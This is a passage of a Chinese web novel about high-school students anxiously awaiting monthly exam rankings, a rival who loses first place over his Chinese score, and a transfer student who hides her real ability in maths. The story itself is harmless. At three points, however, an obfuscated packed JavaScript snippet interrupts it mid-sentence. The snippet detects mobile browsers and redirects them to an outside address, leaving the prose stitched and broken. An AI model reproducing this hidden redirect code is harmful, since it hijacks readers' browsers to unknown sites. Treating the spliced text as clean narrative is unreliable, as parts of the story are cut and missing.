下课后,大家都排着队到贺鸣飞的座位前对他表示感谢。更有甚者,要求“丝绸之路”能不能换个走向,绕一圈再回来。 贺鸣飞瞪着眼:“当我傻呢?绕一圈就刚好经过你,吃了老子多少东西了,打球的时候咋没见你有劲呢?” “激将法是吧?走,现在就来一场去!” “走就走,还有八分钟上课,小羊拿球,赶紧的别墨迹!” 哗啦—— 门开门关,一伙人又蹿了。 一班倒不是每天都这么浮躁,主要是上周刚考完试,仿佛被压了五百年突然释放,上蹿下跳,真要来个沙滩,指定比那位前辈蹦跶得还欢。 当然了,考试后的兴奋还有个直接原因:月考成绩马上要出来了。 一中历来考试成绩会直接上传到一个教育APP,学生登录就能直接查看原卷和失分点,便于自己分析错因。 但有个问题,九门科目并非一键全出,而是一科一科地出,一刀一刀地割,先后顺序取决于老师阅卷的速度。 上一科刚出来,戳得心窝子还流血,下一科出来后,不用抢救了,当场毙命。 班里已经有不少人推测,周一绝对能出成绩,而且出全科。 所以,这周末,APP上就能出个七七八八。 班里带手机的人不少,除了几个外地的住宿生,离家近的都把手机藏桌洞里。 所以,当上着自习突然响起一句低声的“卧槽”时,所有人警惕地抬起头—— “出了吗?” “我刚刷新,太卡了!出了几科?” “出了出了!真的出了!” 明厘并不关心成绩,所以自然不会参与这类话题,而闻棠因为没有手机,也没法讨论,糟乱从两位女生的小角落绕道而行。 “朋友们!数学出了!” 不知是谁喊了句,底下立刻炸开锅。 “啊啊啊数学啊!” “我靠啊,我就数学做的烂!” “飞仔!借我手机用用,我查分数!” 也不管上课还是下课,反正没有看班,有手机的哆嗦着查分数,没手机的投奔有手机的。 没过五分钟,又爆发出一阵高潮。 物理成绩出了。 下课铃声一响,班里出了无数个上蹿下跳的猴子。 明厘被噪音裹挟其中,她前桌贺鸣飞那儿起码围了不下8个人,挤在一起查成绩,后桌则是围了几个串门恭喜发财的。 后桌名叫邵文俊,是个沉闷的男生,戴厚重眼镜,额头上闷出来不少青春痘。 他成绩不错,可惜心态不稳,导致每次考试成绩像心电图,大起大落,比sin和cos图像更加狂野不羁。 有人拍着邵文俊的肩膀,“俊哥,这回打算冲到第几啊?” 男生笑着,“这我哪儿知道,上回我才排15,这次能进前十就不错了。” “哎呀,你这回数学148啊!少说拉开别人20分,前十必须没问题!” 邵文俊摆摆手,谦逊道:“不行,我其他成绩一般。” “真假的?你物理多少?” 邵文俊有些为难,“我没带手机,是飞仔帮我查的,我没记住,这有啥好记的,反正也快出总成绩了。” 有人安慰他,“老哥,你数学148啊,我感觉肯定有希望冲前8!” “哎,飞仔!”同学帮着叫了声,“刚查的俊哥物理多少分?” 邵文俊试图阻止他,象征性地哎了两声。 前面的贺鸣飞划拉两下,大嗓门喊道:“物理85!” “我靠!”同学惊了,“俊哥太牛逼了吧!” 又有人插话:“你还说前8,这必须得前5啊,我觉得前3都有可能!物理这么难都能85,课代表好像才70,你太强了太强了!” “大神,快点借我沾沾喜气!”同学激动地拉着他的手。 “你们太夸张了,我语文和历史都不行,才出了几门能看出什么来,可别再传了,出了全科成绩我可丢不起这个人……”邵文俊看起来扭捏又难为情,却赧然笑着,被众人簇拥在中心。 “谦虚啥,这回你绝对是最大的一匹黑马!” 没几分钟,所有同学都知道了邵文俊这次月考非常强劲,指定进前三。 明厘悠闲地靠在椅子上,歪着头听,跟看电视剧一样。 她觉得这位谦虚的邵文俊还挺有意思。 嘴上说着不在乎自己的成绩,但聊到别人的成绩倒是一个打破砂锅问到底,生怕有谁超了他。 她没查自己的分数,但旁边一直有人在起哄,算分数,闻棠急的已经连续写错三页纸,明厘主动提出可以把手机借给她。 “要不你跟我一起查吧。”她提议道。 明厘下意识觉得该回避,直接问:“你不介意让别人看到自己的卷子?” 闻棠说:“没事,我不介意你看。” 查完分数后,闻棠变得沉默,不再急躁不安,埋头继续写。 轻轻一声撕拉,明厘余光中,同桌撕下刚写的作业纸,安静地叠好,放进桌边小垃圾袋。 作业纸又写错一张。 沉默在明厘的身旁泛开涟漪,不像后桌的邵文俊,春风得意马蹄疾。 明厘收回手机,打开微信,可惜一条新消息都没有。 距离给游灿发过那条消息已经半天多了,他依然没回复。 班里的同学已经进入最喜欢的猜排名环节。 只猜前五名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422673|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,猜对了算你牛。 “算你牛”虽然不属于任何奖励,但已经是打赌和猜谜界的最高荣誉。 而且,这次月考拥有绝对看点。 就在几分钟前,化学成绩出来了。 更炸天的是,邵文俊化学考了90。 这消息一出,一班大半人直接学不进去,扔了笔,开始猜他会不会夺下第一。 按照这个势头,如果他其他科目正常发挥,前三绝对没有问题。 最能拉开差距的数学、物理、化学已经定型,恰好这次英语卷子简单,普遍分数高。 算下来,邵文俊比已知的最高分还要高出25。 板上钉钉的最大黑马。 “我真觉得这回俊哥有希望No.1,我先压一票。” 贺鸣飞嚷嚷:“把我灿神放在眼里了吗?劝你们好好想想,我肯定是押我好兄弟。” “游灿考多少啊?你问了吗?” “问了,还没回消息,估计在上课,他上课期间不玩手机。” “不说别的,光数学,邵文俊绝对得是单科第一了吧?这么变态的题,能上130就不错了!” “对啊,游灿数学虽然挺好,但毕竟很久没来上课啊,老师讲的经典例题和压轴题他都没听吧,月考不就正好考到了?” 同学附议:“也是啊,那他这回考试真的挺吃亏,老师讲的那道基本上原题,咱们都做出来了,他就算不拿第一也情有可原。” 有人说:“默默地插一句哈,有原题??我怎么不知道??” …… “但我听人说,他这次好像考的不怎么样,从考场出来之后心情就不怎么好。” “真的假的?难不成灿哥要考个第二名了?” “哇去,见证历史啊!” “哎呀反正不管拿不拿第一还是第二,灿神还是灿神!这回考不好还有下次。” …… 无聊。 明厘托腮看戏,最烦对第一名抱有期待的人。 虽然他们也没有恶意……但不公平,她想,他们动动嘴皮子看热闹是轻松了,放在第一名的身上,那就是压力。 这样想来,她有点同情游灿了。 他不会真没考好吧? 真要是掉到第二名,会很丢人啊。 尤其是数学,但凡数学考不到148,绝对会被人说“堕落了。” 直到即将放学,明厘趴在桌子上玩2048时,屏幕上方忽然弹出来一条新消息。 她点进去。 游火火:谢谢啊。 游火火:不好意思我刚下课,手机没信号,没来得及回你消息。 明厘想了想,不知道该回复什么,毕竟这也不算个话茬。 但是,她又有点好奇他的成绩。 只好奇数学,其他科无所谓。 直接问好像有点不礼貌。 你数学考了多少? 肯定又会被他以各种理由嘲笑。 万一来一句关你什么事,她多没面子,显得好像她上赶着要问他成绩一样。 她并不擅长和人友好沟通,更喜欢直来直去。 为了避免生硬,小明同学灵机一动,忽然想起可以在末尾加个语气词,缓和一下。 芭娜娜就常用这招。 消息发出去了。 小明:你数学考了多少分呢~ 她甚至还使用了可爱的波浪号“~”,而不是冷酷的“?”。 她想,最好的情况是他考到149分,刚好比邵文俊高,但是又没到满分,不至于让她嫉妒。 或者148,和邵文俊齐平也可以。 游灿秒回,发来一张成绩的截图。 她还没来得及点开,又来了条消息。 小明:你数学考了多少分呢~ 游火火:考了满分呢~ 明厘啪嗒关了手机,愤然离去。 20. 公布 回到家后,明厘去了楼上,游灿还没有回家,只有爷爷在看新闻,她就把卷子给人放好,礼貌地打招呼后离开。 猜成绩的阵地从教室转移到群聊。 明厘一打开手机,就是99+消息。 同学:速报!进展到哪儿了? 凌越:还是那三门,其他的都没出。 贺鸣飞:@游灿,快交出你数学成绩单,亮瞎我们狗眼! 同学:@游灿,快交出你数学成绩单,亮瞎我们狗眼! 同学:@游灿,快交出你数学成绩单,亮瞎我们狗眼! 同学:他还没下课吧,发了消息没回。 夏之唯:紧张等待ing。 贺鸣飞:同款等待ing。 …… 明厘翻了几条消息,下面几乎也是清一色的“等成绩”。 几乎每个人都参与其中。 除了邵文俊。 最好奇的人,也是最耐得住性子的人。 明厘看着兴奋的群聊,不自觉有些得意。 有种开了上帝视角的优越感。 其他人都急着猜来猜去,只有她知道,游灿数学考了满分。 第二天早上,她到教室时,英语成绩刚好新鲜出炉。 “大家现在都在猜邵文俊会不会超了游灿呢。”闻棠说。 明厘放下书包,“还没猜完吗?” “邵文俊数学148已经够高了吧,但是你知道吗?游灿数学居然考了150!” “哦,厉害。”明厘平静地说。 “对啊,现在是这样。”闻棠如数家珍,“游灿数学比他高了两分,但是化学比他低3分,物理又比他高4分,今天早上出了英语,他俩英语居然考得一样。” 细数下来,游灿只比邵文俊高了3分,剩下还有5门没有出,都是文科,估计差距也不会太大。 所以,邵文俊能拿下第一的可能性很高。 闻棠问:“你觉得呢?” 明厘打开书准备早读,“我不知道,我刚来几天,跟他们谁也不熟。” “也是。” 盯着课本上的《阿房宫赋》,明厘思绪开起了小差。 她想起吃火锅那天,他双眸灼灼,说“我一定能进”。眼神中透出近乎自傲的笃定,让她愣了两秒。 这话如果是别人说出口,未免太狂妄自大,但放在游灿身上,有种太阿在握,势在必得的气势。 她觉得游灿还是第一。 “来了,魔鬼甜甜……” 明厘听到前面的网管和贺鸣飞小声说了句,附近一片人都瞬间坐直了身体。 林甜拿着一个大文件袋,疾步走进教室。 魔鬼甜甜老师颇为满意地盯了20分钟,在早读将要结束时,拍手叫了暂停。 “来,课代表,把每个人的答题卡发下去。” 语文成绩还没出,居然就要直接把卷子发下来了。 连预告都没有,直接开剐。 可惜,网络阅卷,对错并不会直接划在卷子上,每个人手里的答题卡还是干干净净。 不过按照以往的经验,答题卡能发下来只能说明一个问题—— 成绩全部出来了。 也许成绩单已经打印好,就在班主任手里。 想到这一层后,同学们都有点坐不住了。 等到所有人都拿到之后,林甜才开口。 “我早就说过,你们都是中考尖子拔上来的,高手之间的对决,能拉开分差的真不是数理化,而是语文。” “如果说数理化能力,其实第一名第二名根本没差,你敢说第一名做不出来的题第二名就一定做不出来吗?” 她自问自答:“真不一定,因为考试看的是临场发挥,而数理化这类理科最考验临场发挥的能力,你一个紧张,平时会做的题都可能毫无头绪。” “但语文不一样,咱们语文看的是日常积累,如果你日常一点储备都没有,巧妇难为无米之炊,考试的时候再怎么坦然也写不出来。” 这段车轱辘话,学生们早就听过无数个版本,丝毫掀不起波澜了,直到林甜话锋一转。 “我知道班里大部分同学打算学理科,数学多高贵,一道选择题就是5分,觉得语文有什么好学的?写满了就能有同情分,心里还觉得踏实。我告诉你们,赶紧这种低级幼稚的初中生思想给我扔了。现在阅卷只看采分点,你答不到点子上,一分都没有!” 她顿了顿,淡淡地说:“比如说这次月考,咱们班第一名和第二名,语文成绩差了将近20分。” 大家心里咯噔一声,后方传来一句小声的“卧槽……” “20分啊……” 明厘和闻棠对视,看得出对方惊讶的眼神。 “20分是什么概念,数学四道选择题,含金量多大你们应该比我清楚。”林甜说:“废话我不多讲了,准备好卷子和答题卡,咱们开始讲作文,都给我打起精神来!” 刚才还想着,语文成绩拉不开差距,现成的例子给他们狠狠上了一课。 林甜话说了一半,把所有人的胃口高高吊起,现在大家开始关心,那个被第一名的语文拉开将近20分的倒霉蛋到底是谁。 游灿一来教室就被逮住八卦。 他只是随口瞎扯几句,淡然处之。 所以,最后的猜成绩押宝,甚至有一大半人都选择了邵文俊。 理由很简单,游灿语文成绩平平无奇,邵文俊更有潜力。 - 巫敏老师拿着一沓纸走进来时,所有人深吸一口气,像是被点了哑穴。 她温柔地笑了下,“怎么都不说话?知道要发成绩单了,紧张啊?” 众人苦笑。 “紧张也晚了,木已成舟。”说完,她数出来几等份,分别递给第一排的同学,“往后传一下吧,知道你们盼了挺久,我也不卖关子了,自己分析一下瘸腿的科目,整理好错题,如果觉得难过,就去办公室找我聊天。” 明厘从贺鸣飞手里接过成绩单,又立刻传给后面的邵文俊。 她甚至能听到邵文俊极度紧张的心跳声。 也是,毕竟是最有希望冲击第一名的一次。大家把他高高举起,万一摔下来,会很难看。 明厘传完之后才有空转身,定了定神,看了眼手里的成绩单。 第一眼就瞟到榜首。 果然。 游灿,124,150,135……班级排名1,年级排名1。 下一行。 邵文俊,105,148,135。 反倒是最不起眼的语文,彻底断了他拿第一的路。 明厘简单看了一眼后,就把成绩单放进文件袋内。 她有自己的路要走,不需要关心任何人的成绩。 几秒钟后,她低头在桌洞里翻出一包木浆抽纸,轻轻地推到同桌闻棠的手边。 后排的邵文俊没再发出剧烈的心跳声。 一张白纸黑字的成绩单,封印住他。 下课时间炸开了锅。 “我说什么来着,灿哥就算半年不上也照样闭眼第一!”贺鸣飞带头吆喝。 “毕竟学竞赛的,拿满分很正常吧?” “有本事你去学一个试试,学竞赛的多了去了,谁都拿满分咱们普通高考的还怎么混?” “他这成绩确实牛逼啊,真就六边形战士,完全没有拉后腿的!” 游灿敷衍地谢了几句,估计是想躲清净,直接趴在桌子上,外套把头一蒙,睡觉。 另一个云端。 “正常啊,我语文确实不怎么样。”邵文俊笑着,和过来搭话的人聊天。 “已经很牛逼了啊,俊哥!” 他扯着嘴笑,“谢谢。” 怎么能不遗憾呢。 就差一点点,他就能创下历史拿到第一,到时候所有围在游灿身边的人,都会围着他打转。 但也不是一点点。 光语文就差了将近20分。 看客散去,他对着成绩单,一遍一遍地算,算总分,算分科。 如果语文他能再细心一点,看清那道选择题让选的是“不对的一项”而非“对的一项”,起码还能高4分。 还有,“问道龙标过五溪”中用的是“道”,而不是“到”。 他皱着眉,真没想到能犯这么低级的错误。 邵文俊回忆起考场上,他做完卷子后,觉得这次稳了,整个人都飘了,思绪也开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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-:填的我手机号,难不成你自己去? 小明:好吧,谢谢。 他刨根问底。 游火火:所以到底什么时候去? 小明:明天。 游火火:明天周二,你逃课? 小明:…… 小明:这周六补课,除了周天我还能周几去?学霸,脑子学哪儿去了? 游火火:哦,学霸记性不好,不如你们学渣渣。 她总觉得一道目光频频落在后背。 灼热,直白,不容忽视。 明厘烦躁回头,最后一排,游灿不知什么时候坐了起来,视线穿过半个班级,不偏不倚,定定地落在她身上。 早晨的阳光洒在少年瘦削好看的侧脸,对视的瞬间,他弯起唇角笑了下。 明厘:? 下一秒,游灿就抬手放在耳侧,做了个打电话的动作。 明厘瞬间明白,趁着同学们发现不对劲之前,她嗖地把头拧了回来。 果然,游灿又发来一条消息。 游火火:事成之后,你请我吃饭。 ……脸皮真厚。 怎么莫名有种卧底交头的忐忑。 明厘翻了个白眼,关掉屏幕,端正坐好,准备上课。 她平时在学校会刻意避开游灿,装作陌生人,就连去后排接水也会拉上闻棠一起。 而他本来在校时间就短,一回头,座位常常是空的。 教室里,他们就像两个陌生人,学神和学渣,天壤之别。 这天作业不多,成绩尘埃落定,本该是个平静的晚上。第二节晚自习下课,明厘洗完手,从卫生间出来,转过最后一个拐角,一眼看到了走廊不远处的巫老师。 老师朝她走过来,眼睛也看着她,目标明确。 明厘有种不详的预感,她用纸巾擦了手,强装镇定,走过去。 “老师。” 巫老师点头微笑,“最后一节晚自习了,咱们聊聊?” 21. 谈话 明厘对巫敏了解不多,但同桌闻棠很喜欢她,挂在嘴边的一句话就是,“巫老师真的很好很好”,每次上数学课时,她就会用亮亮的眼神盯着老师。 谈话,而且还要放在最后一节晚自习,这明显就是要谈一整节课的节奏。 她倒不是怕老师,但……哪个高中生被单独叫去办公室能不紧张忐忑?! 晚自习的铃声响起,她不远不近跟在巫敏后面,羡慕地看着走廊里的学生流入教室。 这是最无助的时刻。 每个人都可以照常进入教室,但只有她不行,因为她单独被叫去办公室。 数学组办公室在三楼最东侧,老师拿钥匙开了门,打开灯,“快进来吧。” 给她挪了把椅子,两个人面对面坐着。 在老师翻找东西的时候,她只能低头盯着牛仔裤上的褶皱。 两人挨得很近,是稍微一动就能碰到脚的距离,她幅度很小地挪动了下脚。 几张纸,轻轻地递了过来。 还没接到手,明厘就知道是什么了。 一张数学答题纸,是她的考试原卷,另一张则是她早上看过的成绩单。 成绩单上,她的那一行用绿色荧光笔单独标出。 文史类的语文、政治等科目都还说得过去,数学、英语却只有两位数,班级排名30开外,年级排名更是没眼看了。 巫敏递过去后,没再说话,而是静静地看着她。 “说实话,这份成绩单倒有点意料之外,情理之中的意思。”她笑了下,“所以我拿到后的第一时间,就觉得有必要找你谈谈。” 明厘规规矩矩低下头,“对不起,老师。” 快点结束吧,只要她厚着脸皮,保持沉默,一直道歉,很快就能出去了。 “不用道歉,我又没说怪你。”巫老师语气温柔,“不过,能跟我聊聊你的想法吗?” ……不能。 明厘说:“老师,我考试的时候太困了,不小心睡着了。” “是吗?”老师没觉得她撒谎,点点头,“确实很多同学在考前都会睡不好,那你下次可得调整好呀。” “好,我下次肯定注意。” 老师语气温和,循循善诱,这让她心里生出一丝愧疚。 然后,老师指着她的卷子,柔声道:“我们来分析一下吧,后面大题几乎是全对,但选择题和填空题错误率有点高,直接导致你成绩低了大截。” 但凡看看这张卷子,一眼就能发现,她只认真做了大题,有标准答案的题目都是瞎写的。 也没什么特别的原因,她就是不想让别人知道真实水平。 中规中矩,做个中下游选手,藏在人堆里。 同一张卷子,前面几乎全错,后面几乎全对,不信老师看不出来不对劲。 就在她等着挨批评的时候,老师忽然开口,“这里,洛必达极限求值用得很漂亮。” 明厘有点不可思议,茫然地说:“谢、谢老师。” 巫敏没有把话晾着非要她回答,而是仔细地看着她的卷子,夸奖道:“咱们班里就两位同学用了洛必达,看得出来你数学底子很强啊。” 明厘说:“也还行吧……隐约记得一点。” “不过阅卷老师还是给你扣了两分。”她问,“知道为什么吗?” 明厘想了想,“因为这不是高中课内必修的知识点,这道题用普通分析法也是能做出来的,就是会麻烦一些,但如果用洛必达的话,一步到位,省去了复杂的分析过程,没什么说服力。” “是的。”老师点点头,“你猜的很对,所以下次如果还想用定理,记得要把推理过程写一下。” “嗯嗯。”她乖乖答应。 “初来乍到,可能学习上也有很多不习惯的地方吧?之前有不少转学生适应不了这边的高强度教学,成绩一落千丈的也有,又转走的也有,不过没关系,找到问题所在,然后解决就好了。” 接下来,老师没有多说一句关于成绩的事,而是领着她把试卷上的错题都过了一遍。 包括她故意写错的基础题目,老师也是极其耐心地画图,写公式,不时问她,有没有想起来这个知识点? 基础题压根就不需要动脑,她看一眼就能做出来,但是她错得太多太多了,所以老师讲题的过程中,她除了愧疚还是愧疚。 明厘觉得她不该出现在这里,该去18层地狱。 办公室里飘着一股淡淡的香气,暖暖和和的,像温柔的胳膊,轻轻把她环在怀中。 老师讲得差不多了之后,还做了个评价,“你的解题思路都很正确,就是计算上可能有失误,总的来说,这卷子做得挺不错。” 明厘羞愧地看着试卷,66分的试卷。 “你还是挺适合学数学的。”老师说。 “我……我觉得不太适合。”明厘诚实地说:“我还是有些感性,没有纯粹的逻辑推理能力。” 太感性的人学不好数学,这是学生界流传的真理。 老师没有否定她的话,温柔地笑笑,“那更好了,数学注重理性思维,而你又恰好拥有细腻的共情能力,两个优点都有了。而且……我也是个比较感性的人,数学这条路一条道走到黑,十多年,好像也没那么难。” 明厘沉默了下,说:“我可能以后不会选择数学这条路。” “当然,你选什么都可以。”老师说,“能在十几岁就拥有确定的目标并为之奋斗是件很了不起的事,但换个角度考虑,如果一开始就钉死了未来,就会失去很多意外之喜,那还有什么意思?” 她点点头,表示赞同,而后又试探着问了个问题,“那,也是您让游灿多关注一下我吗?” 老师直接承认:“你刚转到一班,说实话我不放心,刚好你和游灿是邻居,我就顺便让他多注意点。” 果然是这样,她心想,怪不得他阴魂不散,怎么都甩不掉,原来带着任务来的。 临走的时候,巫老师打开抽屉,翻出两根棒棒糖递给她,“我女儿吵着要吃糖,小孩吃多了对牙齿不好,我就拿学校来给你们分点。” 明厘接过糖,略带惊讶:“您已经有小宝宝了吗?” “对,才一岁三个月。”巫老师笑笑。 “一点也看不出来。” “是吗?我还以为跟你们代沟挺严重呢。” 明厘摇摇头,“没有没有,我还以为您大学刚毕业。” 老师给她两根棒棒糖,一根牛奶味,一根橙子味,她先吃了个牛奶味,边吃边爬上四楼。 醇厚的奶香在舌尖化开,甜而不齁,非常适合小朋友吃。 回教室,明厘坐下后的第一句话是:“巫老师真的很好很好。” 闻棠看了她一眼,重重点头,“对,就是很好很好。” 天气回暖,下晚自习后她坐校车回家,一段时间的默契后,明厘和同桌就约好结伴。 从教室走过去,大概十分钟的路程,沐浴月光,踏着石子小道,结束一天的高强度学习,拥有十分钟的短暂休憩。 这十分钟,是两位女孩的“夜话时间”。 今天出成绩,所以话题自然而然地就变成了月考。 闻棠一整晚都很忧郁,每逢月考、周考她经常考不好,这类考试范围小,但考察精细度会更高,深度更广,反而是期中、期末这类融合性大考她会发挥超常。 起起落落的成绩就极其挑战心态。 于是,明厘说:“这样推算的话,你高考肯定没问题。” 闻棠叹了口气,没什么信心,“可是没到高考谁能知道呢?万一前面攒的运气用光,最重要的高考我就发挥失常了呢?” 明厘有点不知道该怎么安慰她。 她是个绝不为难自己的人,考不好那就不考了呗,前一晚没睡好那就在课堂上接着睡,睡醒了再听课。 这话说出来会有些叛逆,但高中生是真困啊,一节课45分钟,经常困得给前桌磕头,醒来书上全是诡异的鬼画符,还不如睡个20分钟,剩下25分钟还能高效听课。 闻棠没法理解她的“享受型学习”,对于考试失利,她的解决办法是:惩罚自己,直到下次考试进步前都不吃早饭,牺牲的早饭时间用来背英语单词和作文模板。 两人在门口说再见,一个去坐校车,一个回宿舍。 明厘刷卡后,找了个靠窗的位置,把书包放在胸前,瘫在椅子上。 陆续上来很多学生,座位不够的就站着,在学校憋了一天,叽叽喳喳热闹非凡挤成一团。 明厘定好30分钟后要下车的闹钟,闭上眼睛,塞上耳机,沉浸式听音乐。 AnditwasallYellow Yourskin Ohyeahyourskinandbones Turnintosomethingbeautiful …… Lookhowtheyshineforyou Lookhowtheyshineforyou 公交车走走停停,仿佛白色小船漂在海面上,波涛起伏,偶尔有白色飞鸟经过,张开翅膀,盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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游灿得意忘形:“看在邻居又是同学的份上,我给你打个折扣吧,1小时175,打着灯笼你也找不着比我还便宜的。” 明厘冷冷表示:“对,你最便宜。” “什么表情啊?”他说,“虽然我不是高级教师吧,但教你是绰绰有余了。” 明厘头疼,她不明白怎么会有人每天都能量满满,精力没处放了吗? 她岔开话题,问:“你为什么叫游灿?” “我姥爷取的,说命里缺火,怎么了?” 她无语地说:“我看你一点也不缺火。” “其实我自己也这么觉得,说不定我缺水,小时候还老想着改名叫游淼淼,把能加的水都加上。” 明厘被他的逻辑折服,忍俊不禁:“那你怎么不叫游大海?” 游灿瞅她一眼:“你自己听听好听吗?” 沉默几秒钟后,明厘叹了口气,“火火啊。” “干嘛?” “试听一节课吧。”她说。 游灿:“什么?” 明厘翻了个白眼,“刚刚还说得热血沸腾的,转头就把你老本行忘了。” “噢,你说这个,我没反应过来。” 他笑嘻嘻地从书包里翻出来数学卷子,摊开,“来,哪道题不会?” 明厘随便一指,“这道吧。” 游灿愣了下,“你闲着没事逗我玩呢,这不就是勾股定理吗?” 骗她讲题那都多少年的老黄历了,还记仇呢。 明厘:“到底讲不讲啊?” “讲。”他又在书包里掏半天,翻来翻去,然后翻不出来了,尴尬地问:“……你带草稿纸和笔了吗?” 明厘找出东西递给他:“扣钱,真不专业。” “试听免费,扣哪门子钱?” “闭嘴,快讲。” “行行行。” …… 两个人在公交车上讲完了一道基础选择题,双方专注而导致压根没听到下车的语音播报,直到明厘闹钟响起,才手忙脚乱收拾东西走人。 车子一个急刹,明厘的书包飞了出去,里面的文具和试卷哗啦散了一地。 “我书包!” 没等车停稳,她趔趄着跑过去收拾东西,游灿见状赶紧蹲下帮她一起捡。 期间还得把自己的卷子塞进书包里,把她的笔和草稿纸塞进她的书包里,留意着座位上可别落下东西,再抓紧走两步跳下车。 两个人四只手,这一忙活,就出差错了。 第二天,一班教室内,明厘早早背着书包去了学校,打算复盘错题,从包里掏出来一张满分试卷。 而另一边的游灿,竞赛班内鸦默雀静,老师站上讲台准备讲评错题,他掏出了一张66分的数学答题纸。